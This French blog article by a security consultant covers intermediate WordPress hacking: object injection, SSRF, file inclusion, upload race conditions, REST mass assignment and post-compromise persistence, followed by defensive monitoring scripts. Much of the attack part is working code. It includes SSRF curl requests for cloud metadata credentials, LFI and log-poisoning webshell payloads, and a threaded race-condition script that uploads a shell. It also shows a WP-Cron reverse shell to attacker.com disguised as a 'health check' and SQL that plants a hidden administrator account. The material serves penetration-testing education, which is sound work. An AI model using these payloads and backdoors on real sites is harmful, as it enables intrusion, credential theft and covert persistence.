Pourquoi Hacking WordPress Intermédiaire est-il essentiel pour la sécurité des systèmes d'information ?

Hacking WordPress Intermédiaire constitue un élément fondamental de la sécurité des systèmes d'information car il permet de reduire significativement la surface d'attaque, d'ameliorer la détection des menaces et de renforcer la posture globale de sécurité de l'organisation face aux cybermenaces actuelles.

Quelles sont les bonnes pratiques pour Hacking WordPress Intermédiaire en 2026 ?

Les bonnes pratiques pour Hacking WordPress Intermédiaire en 2026 incluent l'adoption d'une approche Zero Trust, l'automatisation des controles de sécurité, la mise en œuvre d'une veille continue sur les vulnérabilités et l'integration des recommandations des organismes de référence comme l'ANSSI et le NIST.

Pour approfondir ce sujet, consultez notre outil open-source advanced-nmap-scanner qui facilite l'automatisation des scans réseau avancés.

  • Mode opératoire détaillé et chaîne d'exploitation
  • Outils et frameworks utilisés par les attaquants
  • Indicateurs de compromission et traces forensiques
  • Contre-mesures défensives et détection proactive
Avertissement : Les techniques présentées dans cet article sont destinées exclusivement à des fins éducatives et de tests autorisés. Toute utilisation malveillante est illégale et contraire à l'éthique professionnelle.

L'Object Injection PHP est particulièrement dangereuse dans WordPress car l'écosystème de plugins fournit un large réservoir de classes avec des méthodes magiques exploitables. La présence de bibliothèques tierces (Monolog, Guzzle) dans les dépendances des plugins élargit considérablement la surface d'attaque des gadget chains disponibles. La mitigation principale est de remplacer unserialize() par json_decode() pour toutes les données non fiables.

2.2 SSRF via plugins

De nombreux plugins WordPress effectuent des requêtes HTTP côté serveur pour diverses fonctionnalités : récupération de miniatures depuis des URL externes (oEmbed), agrégation de flux RSS, vérification de liens, partage social, import de contenu. Ces fonctionnalités constituent autant de vecteurs potentiels de Server-Side Request Forgery (SSRF). L'attaquant manipule l'URL de destination pour forcer le serveur WordPress à émettre des requêtes vers des ressources internes normalement inaccessibles depuis l'extérieur.

WordPress intègre nativement la fonctionnalité oEmbed qui permet d'intégrer du contenu externe (vidéos YouTube, tweets, etc.) en fournissant simplement une URL. Le mécanisme effectue une requête HTTP vers l'URL fournie pour récupérer les métadonnées d'intégration. Un attaquant peut exploiter cette fonctionnalité pour scanner le réseau interne, accéder à des services de métadonnées cloud (IMDS à http://169.254.169.254), ou interagir avec des services internes comme Redis, Elasticsearch ou des panneaux d'administration.

# Exploitation SSRF via la fonctionnalité oEmbed de WordPress
# Tentative d'accès au service de métadonnées AWS
curl -X POST "https://target.com/wp-json/oembed/1.0/proxy" \
 -H "Content-Type: application/json" \
 -d '{"url": "http://169.254.169.254/latest/meta-data/iam/security-credentials/"}'

# Scan de ports internes via un plugin de vérification de liens
curl "https://target.com/wp-admin/admin-ajax.php" \
 -d "action=check_link&url=http://192.168.1.1:8080/admin"

# Exploitation via les fonctions de prévisualisation d'URL
curl "https://target.com/wp-admin/admin-ajax.php" \
 -d "action=fetch_preview&url=http://internal-db:3306/"

2.3 LFI/RFI dans les thèmes

Les vulnérabilités d'inclusion de fichiers (Local File Inclusion / Remote File Inclusion) dans les thèmes WordPress proviennent typiquement de mécanismes de sélection de templates dynamiques. Un thème qui permet à l'utilisateur de choisir un layout ou un template via un paramètre GET ou POST sans validation suffisante ouvre la porte à l'inclusion de fichiers arbitraires.

// Thème vulnérable : inclusion dynamique de template sans validation
// fichier: theme/page-templates/custom-template.php

$template = isset($_GET['template']) ? $_GET['template'] : 'default';
// VULNÉRABLE : path traversal possible
include(TEMPLATEPATH . '/templates/' . $template . '.php');

// Exploitation LFI : lecture de /etc/passwd
// GET /page/?template=../../../../etc/passwd%00

// Exploitation via wrappers PHP
// GET /page/?template=php://filter/convert.base64-encode/resource=wp-config

// Log poisoning pour RCE via LFI
// 1. Injecter du code PHP dans les logs Apache via User-Agent
// User-Agent: <?php system($_GET['cmd']); ?>
// 2. Inclure le fichier de log
// GET /page/?template=../../../../var/log/apache2/access.log%00

Les wrappers PHP offrent des possibilités d'exploitation élargies. Le wrapper php://filter permet de lire le code source de fichiers PHP (notamment wp-config.php qui contient les identifiants de base de données) en encodant le contenu en base64. Le wrapper data:// peut être utilisé pour injecter du code PHP directement via l'URL si allow_url_include est activé. Le wrapper expect://, lorsqu'il est disponible, permet une exécution de commandes directe.

2.4 Race conditions dans les uploads

Les vulnérabilités de type TOCTOU (Time-of-Check to Time-of-Use) dans le système d'upload WordPress exploitent le délai entre le moment où un fichier est vérifié et celui où il est utilisé ou supprimé. WordPress effectue plusieurs vérifications lors d'un upload : validation du type MIME, vérification de l'extension, analyse du contenu. Certains plugins de sécurité ajoutent des scans antivirus ou des vérifications supplémentaires. Le problème est que le fichier est d'abord écrit sur le disque, puis vérifié, et potentiellement supprimé si la vérification échoue.

# Script d'exploitation de race condition sur l'upload WordPress
# Envoie simultanément un fichier malveillant et tente d'y accéder
# avant que le plugin de sécurité ne le supprime

import threading
import requests
import time

TARGET = "https://target.com"
UPLOAD_URL = f"{TARGET}/wp-admin/admin-ajax.php"
SHELL_NAME = "temp_image.php.jpg" # Double extension
SHELL_PATH = f"{TARGET}/wp-content/uploads/2026/02/{SHELL_NAME}"

def upload_shell():
 """Upload le fichier malveillant en continu"""
 files = {'file': (SHELL_NAME, b'GIF89a', 'image/jpeg')}
 data = {'action': 'upload_attachment', '_wpnonce': NONCE}
 while True:
 try:
 requests.post(UPLOAD_URL, files=files, data=data, cookies=COOKIES)
 except:
 pass

def access_shell():
 """Tente d'accéder au shell avant sa suppression"""
 while True:
 try:
 r = requests.get(f"{SHELL_PATH}?c=id", timeout=1)
 if "uid=" in r.text:
 print(f"[+] RCE réussie : {r.text}")
 return True
 except:
 pass

# Lancement simultané des threads
for _ in range(5):
 threading.Thread(target=upload_shell, daemon=True).start()
for _ in range(10):
 threading.Thread(target=access_shell, daemon=True).start()

time.sleep(60) # Attente de 60 secondes

Défense contre les vulnérabilités de plugins et thèmes

  • Object Injection : Remplacer unserialize() par json_decode(). Utiliser le paramètre allowed_classes de unserialize() (PHP 7+) pour restreindre les classes autorisées.
  • SSRF : Configurer un proxy de sortie, bloquer les plages IP privées (RFC 1918) et les adresses de métadonnées cloud dans les requêtes sortantes.
  • LFI/RFI : Utiliser des whitelists de templates, désactiver allow_url_include, configurer open_basedir pour restreindre l'accès au système de fichiers.
  • Race conditions : Effectuer les vérifications dans un répertoire temporaire isolé avant de déplacer le fichier vers sa destination finale. Utiliser des noms de fichiers aléatoires.
Matrice des Vecteurs d'Attaque WordPress Core Plugins Thèmes REST API Database File System Object Injection Moyen Critique Moyen Faible Moyen Élevé SSRF Moyen Critique Faible Moyen Faible Faible LFI / RFI Faible Élevé Critique Faible Faible Critique SQL Injection Faible Critique Moyen Moyen Critique Faible XSS Moyen Critique Critique Moyen Moyen Faible CSRF Faible Critique Moyen Moyen Faible Faible File Upload Moyen Critique Moyen Moyen Faible Critique Auth Bypass Faible Critique Faible Critique Moyen Faible Critique Élevé / Moyen Faible Les plugins représentent la surface d'attaque la plus large -- 97% des vulnérabilités WordPress proviennent des plugins et thèmes

Les plugins qui enregistrent des custom post types avec l'API REST exposent souvent des champs supplémentaires sans vérification de permissions adéquate. Une attaque par mass assignment consiste à envoyer des paramètres supplémentaires dans une requête de création ou de mise à jour, en espérant que le serveur acceptera des champs non prévus. Par exemple, un plugin de e-commerce peut exposer un endpoint pour les produits mais ne pas correctement protéger le champ prix ou le statut de publication.

# Tentative de mass assignment sur un custom post type
# Exemple : modification du prix d'un produit WooCommerce
curl -X POST "https://target.com/wp-json/wc/v3/products/42" \
 -H "Content-Type: application/json" \
 -H "Authorization: Basic $(echo -n 'subscriber:password' | base64)" \
 -d '{
 "regular_price": "0.01",
 "status": "publish",
 "meta_data": [
 {"key": "_price", "value": "0.01"},
 {"key": "_stock_status", "value": "instock"}
 ]
 }'

# Escalade via modification de capabilities dans les métadonnées utilisateur
curl -X POST "https://target.com/wp-json/wp/v2/users/me" \
 -H "Content-Type: application/json" \
 -H "Authorization: Bearer $TOKEN" \
 -d '{
 "meta": {
 "wp_capabilities": {"administrator": true}
 }
 }'

Point clé : API REST WordPress

L'API REST WordPress expose par défaut l'énumération des utilisateurs et la structure complète des endpoints. Chaque plugin ajoutant des routes REST augmente la surface d'attaque. La désactivation de l'API REST pour les utilisateurs non authentifiés ou sa restriction aux seuls endpoints nécessaires est une mesure de durcissement essentielle. Utilisez le hook rest_authentication_errors pour bloquer les requêtes non authentifiées.

WordPress possède son propre système de tâches planifiées (WP-Cron) qui est déclenché à chaque visite sur le site. Un attaquant peut enregistrer des événements cron persistants qui exécutent du code malveillant à intervalles réguliers. Ce mécanisme est particulièrement insidieux car les événements cron sont stockés en base de données (dans la table wp_options sous la clé cron) et ne sont pas visibles dans le système de fichiers.

// Enregistrement d'un cron job malveillant pour reverse shell périodique
// Ce code est exécuté une fois pour installer la persistance

// Définir la fonction de callback
function wp_system_health_check() {
 // Reverse shell PHP déguisé en "health check"
 $sock = fsockopen("attacker.com", 4444, $errno, $errstr, 5);
 if ($sock) {
 $descriptorspec = array(
 0 => $sock,
 1 => $sock,
 2 => $sock
 );
 $process = proc_open('/bin/sh', $descriptorspec, $pipes);
 }
}
add_action('wp_system_health_check_hook', 'wp_system_health_check');

// Planifier l'exécution toutes les 6 heures
if (!wp_next_scheduled('wp_system_health_check_hook')) {
 wp_schedule_event(time(), 'sixhours', 'wp_system_health_check_hook');
}

// Ajouter un intervalle personnalisé de 6 heures
add_filter('cron_schedules', function($schedules) {
 $schedules['sixhours'] = array(
 'interval' => 21600,
 'display' => 'Every 6 Hours'
 );
 return $schedules;
});

4.4 Utilisateurs admin fantômes

L'insertion directe d'un utilisateur administrateur en base de données est une technique de persistance qui contourne les hooks et les notifications WordPress habituels. L'utilisateur créé de cette manière n'apparaîtra pas dans les logs d'activité gérés par les plugins de sécurité (qui se basent sur les hooks WordPress) et peut être rendu difficile à repérer en utilisant un nom d'utilisateur qui ressemble à un compte système légitime.

-- Insertion directe d'un administrateur fantôme en base de données
-- Contourne tous les hooks WordPress et les plugins de logging

-- 1. Créer l'utilisateur
INSERT INTO wp_users (user_login, user_pass, user_nicename, user_email,
 user_registered, user_status, display_name)
VALUES (
 'wpsupport',
 '$P$BZk5L7J5x9nC5CjJ7Ceb5O6qX6MKE0', -- mot de passe : Admin2026!
 'wpsupport',
 '[email protected]', -- email semblant légitime
 NOW(),
 0,
 'WP Support'
);

-- 2. Récupérer l'ID du nouvel utilisateur
SET @uid = LAST_INSERT_ID();

-- 3. Attribuer le rôle administrateur via les capabilities
INSERT INTO wp_usermeta (user_id, meta_key, meta_value) VALUES
(@uid, 'wp_capabilities', 'a:1:{s:13:"administrator";b:1;}'),
(@uid, 'wp_user_level', '10'),
(@uid, 'nickname', 'wpsupport'),
(@uid, 'first_name', 'WP'),
(@uid, 'last_name', 'Support'),
(@uid, 'description', 'WordPress Technical Support Account');
Méthodes de Persistance Post-Exploitation WordPress WordPress Compromis Accès administrateur obtenu functions.php /wp-content/themes/*/functions.php Détection : Facile mu-plugins /wp-content/mu-plugins/*.php Détection : Moyen WP-Cron Jobs wp_options > cron (base de données) Détection : Difficile Admin Fantôme (DB) wp_users + wp_usermeta (SQL direct) Détection : Difficile Webshell (uploads) /wp-content/uploads/*.php Détection : Facile Un attaquant intermédiaire combine plusieurs méthodes pour maximiser la résilience de son accès Réf. MITRE ATT&CK : T1505.003 (Web Shell), T1053.005 (Scheduled Task), T1136.001 (Local Account)

Le monitoring d'intégrité des fichiers est la défense la plus efficace contre les backdoors et les modifications malveillantes du code. Il compare l'état actuel du système de fichiers avec un état de référence connu et alerte sur toute modification. Pour WordPress, cela inclut la surveillance du core, des plugins, des thèmes et surtout des répertoires critiques comme mu-plugins et uploads.

#!/bin/bash
# Script de monitoring d'intégrité WordPress
# À exécuter via cron toutes les heures

WP_PATH="/var/www/html"
HASH_FILE="/var/lib/wp-integrity/hashes.sha256"
ALERT_EMAIL="[email protected]"
TIMESTAMP=$(date '+%Y-%m-%d %H:%M:%S')

# Fichiers critiques à surveiller
CRITICAL_FILES=(
 "$WP_PATH/wp-config.php"
 "$WP_PATH/wp-settings.php"
 "$WP_PATH/wp-includes/version.php"
 "$WP_PATH/.htaccess"
)

# Vérifier les fichiers PHP dans les répertoires sensibles
NEW_PHP_UPLOADS=$(find "$WP_PATH/wp-content/uploads" -name "*.php" -newer "$HASH_FILE" 2>/dev/null)
NEW_MU_PLUGINS=$(find "$WP_PATH/wp-content/mu-plugins" -name "*.php" -newer "$HASH_FILE" 2>/dev/null)

if [ -n "$NEW_PHP_UPLOADS" ] || [ -n "$NEW_MU_PLUGINS" ]; then
 echo "[$TIMESTAMP] ALERTE : Nouveaux fichiers PHP détectés !" | \
 mail -s "[WordPress Security] Fichiers suspects détectés" "$ALERT_EMAIL"
fi

# Comparer les hashes des fichiers critiques
for file in "${CRITICAL_FILES[@]}"; do
 current_hash=$(sha256sum "$file" 2>/dev/null | cut -d' ' -f1)
 stored_hash=$(grep "$file" "$HASH_FILE" 2>/dev/null | cut -d' ' -f1)

 if [ "$current_hash" != "$stored_hash" ] && [ -n "$stored_hash" ]; then
 echo "[$TIMESTAMP] MODIFICATION : $file" | \
 mail -s "[WordPress Security] Fichier critique modifié" "$ALERT_EMAIL"
 fi
done

# Mettre à jour la base de référence
find "$WP_PATH" -name "*.php" -exec sha256sum {} \; > "$HASH_FILE.new"
mv "$HASH_FILE.new" "$HASH_FILE"

6.4 Audit logs et détection d'anomalies

Les logs d'audit WordPress permettent de détecter les activités suspectes : tentatives de connexion échouées, modifications de rôles, installation de plugins, modification de fichiers via l'éditeur intégré. Le plugin WP Activity Log offre une couverture complète des événements WordPress et peut être intégré à un SIEM externe (Splunk, Elastic SIEM, Microsoft Sentinel) via syslog ou webhook pour une corrélation avec d'autres sources de logs (WAF, serveur web, système).

// Logging personnalisé d'événements de sécurité WordPress
// À ajouter dans functions.php du thème ou dans un plugin custom

// Logger les tentatives de connexion échouées
add_action('wp_login_failed', function($username) {
 $ip = $_SERVER['REMOTE_ADDR'];
 $ua = $_SERVER['HTTP_USER_AGENT'] ?? 'Unknown';
 error_log(sprintf(
 '[WP-SECURITY] Login failed | user=%s | ip=%s | ua=%s',
 sanitize_user($username), $ip, $ua
 ));
});

// Logger les changements de rôle utilisateur
add_action('set_user_role', function($user_id, $role, $old_roles) {
 $user = get_userdata($user_id);
 $current_user = wp_get_current_user();
 error_log(sprintf(
 '[WP-SECURITY] Role changed | target=%s | old=%s | new=%s | by=%s | ip=%s',
 $user->user_login,
 implode(',', $old_roles),
 $role,
 $current_user->user_login,
 $_SERVER['REMOTE_ADDR']
 ));
}, 10, 3);

// Logger les installations de plugins
add_action('activated_plugin', function($plugin) {
 $current_user = wp_get_current_user();
 error_log(sprintf(
 '[WP-SECURITY] Plugin activated | plugin=%s | by=%s | ip=%s',
 $plugin, $current_user->user_login, $_SERVER['REMOTE_ADDR']
 ));
});

// Détecter les modifications suspectes de wp_options
add_action('updated_option', function($option, $old, $new) {
 $critical_options = ['default_role', 'users_can_register',
 'siteurl', 'home', 'admin_email'];
 if (in_array($option, $critical_options)) {
 error_log(sprintf(
 '[WP-SECURITY] Critical option changed | option=%s | old=%s | new=%s | ip=%s',
 $option, $old, $new, $_SERVER['REMOTE_ADDR']
 ));
 }
}, 10, 3);

Point clé : Défense en profondeur

La combinaison WAF + CSP + File Integrity Monitoring + Audit Logs couvre les quatre phases d'une attaque : la prévention (WAF bloque les exploits), la limitation d'impact (CSP empêche l'exécution de scripts injectés), la détection (FIM alerte sur les modifications), et l'investigation (logs fournissent la chronologie). Aucune couche seule n'est suffisante ; c'est leur combinaison qui crée une posture de sécurité robuste.

SVG #3 : Defense in Depth Architecture
Architecture de Défense en Profondeur WordPress Couche 1 : CDN / Anti-DDoS Couche 2 : WAF (ModSecurity) Couche 3 : Application (WP + Plugins) Couche 4 : Système de Fichiers (Permissions) Couche 5 : Base de Données (Chiffrement) Couche 6 : Monitoring Logs | SIEM | Alertes | File Integrity Détection d'anomalies et réponse aux incidents Principe fondamental Chaque couche opère indépendamment des autres La compromission d'une couche ne doit pas compromettre les couches intérieures -- principe de défense en profondeur (NIST SP 800-53)
Copier le Lien

Ressources et références officielles

Documentations officielles, outils reconnus et ressources de la communauté

OWASP Testing Guide
owasp.org
MITRE ATT&CK - Web Shell (T1505.003)
attack.mitre.org
WPScan - WordPress Security Scanner
github.com
Ayi NEDJIMI

Ayi NEDJIMI

Expert en Cybersécurité & Intelligence Artificielle

Consultant senior avec plus de 15 ans d'expérience en sécurité offensive, audit d'infrastructure et développement de solutions IA. Certifié OSCP, CISSP, ISO 27001 Lead Auditor et ISO 42001 Lead Implementer. Intervient sur des missions de pentest Active Directory, sécurité Cloud et conformité réglementaire pour des grands comptes et ETI.

Références et ressources externes

  • OWASP Testing Guide -- Guide de référence pour les tests de sécurité web
  • MITRE ATT&CK T1505.003 -- Web Shell : persistance via applications web
  • PortSwigger - Insecure Deserialization -- Ressources d'apprentissage sur la désérialisation
  • CWE-502 -- Deserialization of Untrusted Data
  • WordPress REST API Handbook -- Documentation officielle de l'API REST WordPress
  • PHPGGC -- PHP Generic Gadget Chains pour l'exploitation de désérialisation
  • WordPress.org Security -- Page officielle sur la sécurité WordPress

Sources et références : MITRE ATT&CK · OWASP Testing Guide

FAQ

Qu'est-ce que Hacking WordPress Intermédiaire ?

Hacking WordPress Intermédiaire désigne l'ensemble des concepts, techniques et méthodologies abordés dans cet article. Les fondamentaux sont détaillés dans les premières sections du guide.

Article suivant recommandé

Infostealers : La Menace Silencieuse qui Alimente le →

AspectDétailPriorité
Menace identifiéeExploitation active ou potentielleCritique
Impact estiméConfidentialité, intégrité, disponibilitéÉlevé
RemédiationCorrectifs et contrôles recommandésUrgent
DétectionIndicateurs de compromission (IoC)Important

Conclusion

Face à l'évolution constante des menaces, une posture de sécurité proactive est indispensable. Les techniques et recommandations présentées dans cet article constituent des fondations solides pour renforcer la résilience de votre infrastructure.

Besoin d'un accompagnement expert en cybersécurité ? Contactez Ayi NEDJIMI Consultants pour un audit personnalisé de votre infrastructure.

Termes clés

  • exploit
  • vulnérabilité
  • zero-day
  • payload

Analyse des impacts et recommandations

L'analyse des risques associés à cette problématique révèle des impacts potentiels significatifs sur la confidentialité, l'intégrité et la disponibilité des systèmes d'information. Les recommandations présentées s'appuient sur les référentiels de l'ANSSI et du NIST pour garantir une approche structurée de la remédiation.

Mise en œuvre opérationnelle

La mise en œuvre des mesures de sécurité décrites dans cet article nécessite une approche progressive, en commençant par les actions à gain rapide avant de déployer les contrôles plus complexes. Un plan d'action priorisé permet de maximiser la réduction du risque tout en respectant les contraintes opérationnelles de l'organisation.

Perspectives et évolutions

Le paysage des menaces évolue continuellement, rendant nécessaire une veille permanente et une adaptation régulière des stratégies de défense. Les tendances actuelles indiquent une sophistication croissante des techniques d'attaque et une nécessité d'automatisation accrue des processus de détection et de réponse.

Synthèse et recommandations clés

Les éléments présentés dans cette analyse mettent en lumière la nécessité d'une approche structurée face aux défis de cybersécurité actuels. La combinaison de mesures techniques, organisationnelles et humaines constitue le socle d'une posture de sécurité robuste capable de résister aux menaces les plus sophistiquées.

Prochaines étapes et plan d'action

Pour transformer ces recommandations en actions concrètes, il est essentiel de prioriser les mesures selon le niveau de risque et la maturité actuelle de l'organisation. Un diagnostic initial permet d'identifier les écarts les plus critiques et de construire une feuille de route de remédiation réaliste et progressive.

Points de vigilance et monitoring

La surveillance continue des indicateurs de compromission associés à cette problématique est essentielle. Les équipes SOC doivent intégrer les règles de détection spécifiques dans leurs outils SIEM et EDR, et maintenir une veille active sur les nouvelles variantes et techniques d'évasion. Un programme de threat hunting proactif complète efficacement les détections automatisées.

Recommandations et prochaines étapes

Pour maximiser l'efficacité des mesures décrites dans cet article, une approche progressive et mesurable est recommandée. Commencer par une évaluation de la posture actuelle, définir des objectifs prioritaires alignés sur les risques métier identifiés, puis déployer les contrôles par ordre de criticité. Le suivi régulier des indicateurs de performance sécurité permet d'ajuster la stratégie en fonction de l'évolution du contexte de menaces et des résultats observés.

Exploit : Programme ou technique exploitant une vulnérabilité logicielle pour exécuter du code arbitraire, élever des privilèges ou contourner des contrôles de sécurité.

Les exploits et outils mentionnés doivent être utilisés exclusivement dans un cadre autorisé (pentest contractualisé, lab personnel). L'accès non autorisé à un système est puni par les articles 323-1 à 323-7 du Code pénal.

Ayi NEDJIMI

Testez vos défenses avant les attaquants

Pentest, Red Team, audit de sécurité — rapport détaillé avec plan de remédiation priorisé.

Outils open source pour aller plus loin